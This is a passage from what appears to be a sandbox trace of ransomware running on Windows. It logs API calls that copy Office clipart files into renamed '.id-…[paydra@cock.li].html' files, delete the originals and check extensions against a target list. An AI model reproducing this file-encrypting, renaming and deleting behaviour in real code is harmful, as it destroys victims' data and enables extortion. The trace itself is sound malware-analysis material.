(in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.168] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0052.168] GetLastError () returned 0x0 [0052.168] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0xc30, lpOverlapped=0x0) returned 1 [0052.170] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xc40, lpOverlapped=0x0) returned 1 [0052.170] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0052.171] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.171] SetEndOfFile (hFile=0x19c) returned 1 [0052.171] CloseHandle (hObject=0x19c) returned 1 [0052.171] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.171] SetEndOfFile (hFile=0x1e0) returned 1 [0052.172] CloseHandle (hObject=0x1e0) returned 1 [0052.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.172] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 1 [0052.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0052.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0052.172] lstrlenW (lpString=".doc") returned 4 [0052.172] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.172] lstrlenW (lpString=".docx") returned 5 [0052.172] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0052.172] lstrlenW (lpString=".pdf") returned 4 [0052.172] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.172] lstrlenW (lpString=".xls") returned 4 [0052.172] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.172] lstrlenW (lpString=".xlsx") returned 5 [0052.172] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0052.172] lstrlenW (lpString=".ppt") returned 4 [0052.172] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0052.172] lstrlenW (lpString=".zip") returned 4 [0052.172] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.173] lstrlenW (lpString=".rar") returned 4 [0052.173] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.173] lstrlenW (lpString=".bz2") returned 4 [0052.173] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.173] lstrlenW (lpString=".7z") returned 3 [0052.173] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0052.173] lstrlenW (lpString=".dbf") returned 4 [0052.173] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0052.173] lstrlenW (lpString=".1cd") returned 4 [0052.173] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0052.173] lstrlenW (lpString=".jpg") returned 4 [0052.173] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.174] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=3026) returned 1 [0052.174] CloseHandle (hObject=0x1e0) returned 1 [0052.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 0x20 [0052.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0052.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0052.174] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.174] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0052.174] GetLastError () returned 0x0 [0052.175] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0xbd2, lpOverlapped=0x0) returned 1 [0052.454] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xbe0, lpOverlapped=0x0) returned 1 [0052.454] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0052.455] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.455] SetEndOfFile (hFile=0x19c) returned 1 [0052.455] CloseHandle (hObject=0x19c) returned 1 [0052.455] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.455] SetEndOfFile (hFile=0x1e0) returned 1 [0052.455] CloseHandle (hObject=0x1e0) returned 1 [0052.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.456] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 1 [0052.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0052.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0052.456] lstrlenW (lpString=".doc") returned 4 [0052.456] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.456] lstrlenW (lpString=".docx") returned 5 [0052.456] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.456] lstrlenW (lpString=".pdf") returned 4 [0052.456] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.456] lstrlenW (lpString=".xls") returned 4 [0052.456] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.456] lstrlenW (lpString=".xlsx") returned 5 [0052.456] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.456] lstrlenW (lpString=".ppt") returned 4 [0052.456] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0052.456] lstrlenW (lpString=".zip") returned 4 [0052.456] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.456] lstrlenW (lpString=".rar") returned 4 [0052.456] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.456] lstrlenW (lpString=".bz2") returned 4 [0052.456] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.457] lstrlenW (lpString=".7z") returned 3 [0052.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0052.457] lstrlenW (lpString=".dbf") returned 4 [0052.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0052.457] lstrlenW (lpString=".1cd") returned 4 [0052.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0052.457] lstrlenW (lpString=".jpg") returned 4 [0052.457] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.560] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=2108) returned 1 [0052.560] CloseHandle (hObject=0x20c) returned 1 [0052.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 0x20 [0052.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0052.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0052.560] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.560] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0052.561] GetLastError () returned 0x0 [0052.561] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x83c, lpOverlapped=0x0) returned 1 [0052.563] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x840, lpOverlapped=0x0) returned 1 [0052.564] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0052.564] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.564] SetEndOfFile (hFile=0x17c) returned 1 [0052.564] CloseHandle (hObject=0x17c) returned 1 [0052.564] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.564] SetEndOfFile (hFile=0x20c) returned 1 [0052.565] CloseHandle (hObject=0x20c) returned 1 [0052.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 1 [0052.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0052.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0052.565] lstrlenW (lpString=".doc") returned 4 [0052.565] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.565] lstrlenW (lpString=".docx") returned 5 [0052.565] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.565] lstrlenW (lpString=".pdf") returned 4 [0052.565] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.565] lstrlenW (lpString=".xls") returned 4 [0052.565] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.565] lstrlenW (lpString=".xlsx") returned 5 [0052.565] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.565] lstrlenW (lpString=".ppt") returned 4 [0052.565] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0052.566] lstrlenW (lpString=".zip") returned 4 [0052.566] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.566] lstrlenW (lpString=".rar") returned 4 [0052.566] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.566] lstrlenW (lpString=".bz2") returned 4 [0052.566] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.566] lstrlenW (lpString=".7z") returned 3 [0052.566] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0052.566] lstrlenW (lpString=".dbf") returned 4 [0052.566] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0052.566] lstrlenW (lpString=".1cd") returned 4 [0052.566] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0052.566] lstrlenW (lpString=".jpg") returned 4 [0052.566] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.566] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.566] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0052.567] GetLastError () returned 0x0 [0052.567] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x2418, lpOverlapped=0x0) returned 1 [0052.568] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x2420, lpOverlapped=0x0) returned 1 [0052.569] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0052.569] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.569] SetEndOfFile (hFile=0x17c) returned 1 [0052.569] CloseHandle (hObject=0x17c) returned 1 [0052.569] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.569] SetEndOfFile (hFile=0x20c) returned 1 [0052.570] CloseHandle (hObject=0x20c) returned 1 [0052.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.570] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 1 [0052.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0052.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0052.570] lstrlenW (lpString=".doc") returned 4 [0052.571] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.571] lstrlenW (lpString=".docx") returned 5 [0052.571] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.571] lstrlenW (lpString=".pdf") returned 4 [0052.571] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.571] lstrlenW (lpString=".xls") returned 4 [0052.571] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.571] lstrlenW (lpString=".xlsx") returned 5 [0052.571] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.571] lstrlenW (lpString=".ppt") returned 4 [0052.571] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0052.571] lstrlenW (lpString=".zip") returned 4 [0052.571] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.571] lstrlenW (lpString=".rar") returned 4 [0052.571] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.571] lstrlenW (lpString=".bz2") returned 4 [0052.571] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.571] lstrlenW (lpString=".7z") returned 3 [0052.571] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0052.571] lstrlenW (lpString=".dbf") returned 4 [0052.571] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0052.571] lstrlenW (lpString=".1cd") returned 4 [0052.571] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0052.571] lstrlenW (lpString=".jpg") returned 4 [0052.571] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.572] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.572] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0052.572] GetLastError () returned 0x0 [0052.572] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x928, lpOverlapped=0x0) returned 1 [0052.573] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x930, lpOverlapped=0x0) returned 1 [0052.574] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0052.574] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.574] SetEndOfFile (hFile=0x17c) returned 1 [0052.574] CloseHandle (hObject=0x17c) returned 1 [0052.575] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.575] SetEndOfFile (hFile=0x20c) returned 1 [0052.575] CloseHandle (hObject=0x20c) returned 1 [0052.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.575] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 1 [0052.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0052.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0052.576] lstrlenW (lpString=".doc") returned 4 [0052.576] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.576] lstrlenW (lpString=".docx") returned 5 [0052.576] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.576] lstrlenW (lpString=".pdf") returned 4 [0052.576] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.576] lstrlenW (lpString=".xls") returned 4 [0052.576] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.576] lstrlenW (lpString=".xlsx") returned 5 [0052.576] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.576] lstrlenW (lpString=".ppt") returned 4 [0052.576] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0052.576] lstrlenW (lpString=".zip") returned 4 [0052.576] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.576] lstrlenW (lpString=".rar") returned 4 [0052.576] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.576] lstrlenW (lpString=".bz2") returned 4 [0052.576] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.576] lstrlenW (lpString=".7z") returned 3 [0052.576] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0052.577] lstrlenW (lpString=".dbf") returned 4 [0052.577] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0052.577] lstrlenW (lpString=".1cd") returned 4 [0052.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0052.577] lstrlenW (lpString=".jpg") returned 4 [0052.577] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.577] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.577] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.577] 